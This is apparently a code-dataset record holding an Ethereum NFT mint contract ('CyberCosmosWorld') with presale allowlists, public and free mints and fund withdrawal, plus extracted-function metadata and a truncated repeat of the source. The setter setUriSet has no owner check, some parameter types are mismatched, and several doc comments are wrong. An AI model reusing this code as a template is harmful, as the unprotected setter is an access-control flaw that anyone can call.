_sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
withdrawTo
function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); }
/* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 11796, 12135 ] }
14,182
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setAmountForGiveAway
function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; }
/* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 12297, 12437 ] }
14,183
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint 